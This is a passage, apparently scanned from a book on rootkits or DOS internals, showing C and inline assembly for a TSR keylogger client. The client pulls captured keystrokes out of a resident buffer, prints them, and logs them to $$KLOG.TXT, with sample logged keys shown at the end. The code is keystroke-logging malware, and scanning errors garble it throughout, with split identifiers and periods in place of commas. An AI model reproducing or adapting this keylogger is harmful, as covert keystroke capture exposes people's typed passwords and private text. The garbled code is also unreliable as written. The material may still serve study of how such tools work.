3.3 Real Mode
INT ISR_CODE
MOV bufferCS.DX
MOV bufferlP.DI
POP DI
POP DX
}
pri ntf("buffer[CS,IP]=%04X,%04X\n".bufferCS,buffer!P);
//move through global iremory and harvest characters
for(i ndGX=0;i ndex<SZ_BUFFER;i ndex++)
{
_asm
{
PUSH ES
PUSH BX
PUSH SI
MOV ES.bufferCS
MOV BX.bufferlP
MOV SI,index
ADD BX.SI
PUSH DS
MOV CX,ES
MOV DS,CX
MOV SI,DS:[BX]
POP DS
MOV value,SI
POP SI
POP BX
POP ES
}
crtIO[i ndex] = (char)valuG;
}
//display the harvested chars
printBuffer{crtIO,SZ_BUFFER);
putInLogFile(crtIO,SZ_BUFFER);
return;
}/*end emptyBuffer{) */
The TSR client also logs everything to a file named $$KLOG.TXT. This log file
includes extra key-code information such that you can identify ASCII control
codes.
kdos[Carriage return] [End of Text]
echo See you in Vegas![Carriage return]
tsrclient[Carriage return]
Parti I 77